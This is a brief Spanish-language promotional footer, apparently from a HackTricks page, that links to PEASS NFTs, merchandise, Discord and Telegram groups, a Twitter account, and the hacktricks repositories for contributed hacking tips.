* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|